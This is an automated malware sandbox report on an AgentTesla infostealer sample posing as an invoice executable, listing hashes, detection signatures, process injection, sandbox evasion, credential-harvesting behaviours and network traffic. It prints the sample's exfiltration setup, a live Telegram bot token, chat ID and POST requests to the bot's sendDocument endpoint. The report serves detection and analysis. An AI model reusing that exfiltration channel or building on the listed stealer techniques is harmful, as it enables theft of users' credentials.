Windows Analysis Report
PO-inv-CQV20(92315).exe

Overview

General Information

Sample name: PO-inv-CQV20(92315).exe
Analysis ID: 1431985
MD5: 4e62c4b92779d99998cd908a0966bf7d
SHA1: e02dc74baae821c91f12c890db595f9b08db418c
SHA256: 3c54f1e2d58d392a6bcd2e6c836d1479888e3c334b8e6f5511a65bc1506681fb
Tags: AgentTeslaexe
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected AgentTesla
Yara detected AntiVM3
Yara detected Telegram RAT
Yara detected UAC Bypass using CMSTP
.NET source code references suspicious native API functions
Allocates memory in foreign processes
Contains functionality to log keystrokes (.Net Source)
Injects a PE file into a foreign processes
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
One or more processes crash
PE file does not import any functions
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

AV Detection
barindex
Found malware configuration
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7017233680:AAEfWTUjfiK5hxLLRkmgitv57SQZuFap4nQ/sendMessage?chat_id=1469090678"}
Source: jsc.exe.5868.3.memstrmin Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7017233680:AAEfWTUjfiK5hxLLRkmgitv57SQZuFap4nQ/sendMessage"}
Multi AV Scanner detection for submitted file
Source: PO-inv-CQV20(92315).exe ReversingLabs: Detection: 25%
Source: PO-inv-CQV20(92315).exe Virustotal: Detection: 22% Perma Link

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-inv-CQV20(92315).exe PID: 5040, type: MEMORYSTR
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: PO-inv-CQV20(92315).exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: Microsoft.VisualBasic.ni.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: mscorlib.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.ni.pdbRSDS source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: mscorlib.ni.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.Core.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: mscorlib.ni.pdbRSDS7^3l source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.ni.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.Core.ni.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: Microsoft.VisualBasic.pdb source: WERD8AB.tmp.dmp.7.dr

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.6:49699 -> 149.154.167.220:443
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /bot7017233680:AAEfWTUjfiK5hxLLRkmgitv57SQZuFap4nQ/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc65c412473d6cHost: api.telegram.orgContent-Length: 924Expect: 100-continueConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: unknown HTTP traffic detected: POST /bot7017233680:AAEfWTUjfiK5hxLLRkmgitv57SQZuFap4nQ/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc65c412473d6cHost: api.telegram.orgContent-Length: 924Expect: 100-continueConnection: Keep-Alive
Source: jsc.exe, 00000003.00000002.3307185247.0000000002AFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: jsc.exe, 00000003.00000002.3307185247.0000000002AE6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.7.dr String found in binary or memory: http://upx.sf.net
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3304934889.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: jsc.exe, 00000003.00000002.3307185247.0000000002AE6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3304934889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3307185247.0000000002A91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot7017233680:AAEfWTUjfiK5hxLLRkmgitv57SQZuFap4nQ/
Source: jsc.exe, 00000003.00000002.3307185247.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot7017233680:AAEfWTUjfiK5hxLLRkmgitv57SQZuFap4nQ/sendDocument
Source: unknown Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49699 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, cPKWk.cs .Net Code: _6nIssCpGn
Source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, cPKWk.cs .Net Code: _6nIssCpGn

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Detected potential crypto function
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34892528 0_2_00007FFD34892528
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348A4C62 0_2_00007FFD348A4C62
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD3489BC90 0_2_00007FFD3489BC90
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD3489FCCD 0_2_00007FFD3489FCCD
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34894600 0_2_00007FFD34894600
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348995B0 0_2_00007FFD348995B0
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348995A8 0_2_00007FFD348995A8
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD3489DA70 0_2_00007FFD3489DA70
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34891030 0_2_00007FFD34891030
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34897390 0_2_00007FFD34897390
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348967C8 0_2_00007FFD348967C8
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD3489AD18 0_2_00007FFD3489AD18
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348A4559 0_2_00007FFD348A4559
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348988B8 0_2_00007FFD348988B8
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348A4CAF 0_2_00007FFD348A4CAF
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348988D0 0_2_00007FFD348988D0
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348988C8 0_2_00007FFD348988C8
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34899D5D 0_2_00007FFD34899D5D
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD3489AA6A 0_2_00007FFD3489AA6A
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34898EA5 0_2_00007FFD34898EA5
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34899F7C 0_2_00007FFD34899F7C
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348A0395 0_2_00007FFD348A0395
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD34970E29 0_2_00007FFD34970E29
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD3497026B 0_2_00007FFD3497026B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_00F69338 3_2_00F69338
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_00F64A48 3_2_00F64A48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_00F69BC0 3_2_00F69BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_00F6CD80 3_2_00F6CD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_00F63E30 3_2_00F63E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_00F64178 3_2_00F64178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F08780 3_2_05F08780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F026F0 3_2_05F026F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F096E0 3_2_05F096E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F00040 3_2_05F00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F03B40 3_2_05F03B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F052C0 3_2_05F052C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F02E38 3_2_05F02E38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F0B8F0 3_2_05F0B8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F04BE0 3_2_05F04BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_0604D691 3_2_0604D691
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_0604A78C 3_2_0604A78C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_06049158 3_2_06049158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_0604BB10 3_2_0604BB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_00F69BB8 3_2_00F69BB8
One or more processes crash
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5040 -s 1080
PE file does not import any functions
Source: PO-inv-CQV20(92315).exe Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: PO-inv-CQV20(92315).exe, 00000000.00000000.2065470617.0000023344F62000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameIpatananepa> vs PO-inv-CQV20(92315).exe
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamea92d6c53-8566-4702-b054-93db855986ee.exe4 vs PO-inv-CQV20(92315).exe
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameItewiyozimiqF vs PO-inv-CQV20(92315).exe
Source: PO-inv-CQV20(92315).exe Binary or memory string: OriginalFilenameIpatananepa> vs PO-inv-CQV20(92315).exe
Yara signature match
Source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: PO-inv-CQV20(92315).exe, -----.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, cPs8D.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, 72CF8egH.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, G5CXsdn.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, 3uPsILA6U.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, 6oQOw74dfIt.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, aMIWm.cs Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, 3QjbQ514BDx.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, 3QjbQ514BDx.cs Cryptographic APIs: 'TransformFinalBlock'
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@7/5@1/1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5040
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\ff095067-8d2e-40a2-96fb-8d89a2341dc8 Jump to behavior
Source: PO-inv-CQV20(92315).exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PO-inv-CQV20(92315).exe Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: PO-inv-CQV20(92315).exe ReversingLabs: Detection: 25%
Source: PO-inv-CQV20(92315).exe Virustotal: Detection: 22%
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe File read: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe "C:\Users\user\Desktop\PO-inv-CQV20(92315).exe"
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5040 -s 1080
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles Jump to behavior
Source: PO-inv-CQV20(92315).exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: PO-inv-CQV20(92315).exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: PO-inv-CQV20(92315).exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: Microsoft.VisualBasic.ni.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: mscorlib.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.ni.pdbRSDS source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: mscorlib.ni.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.Core.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: mscorlib.ni.pdbRSDS7^3l source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.ni.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.pdb source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WERD8AB.tmp.dmp.7.dr
Source: Binary string: System.Core.ni.pdb source: WERD8AB.tmp.dmp.7.dr
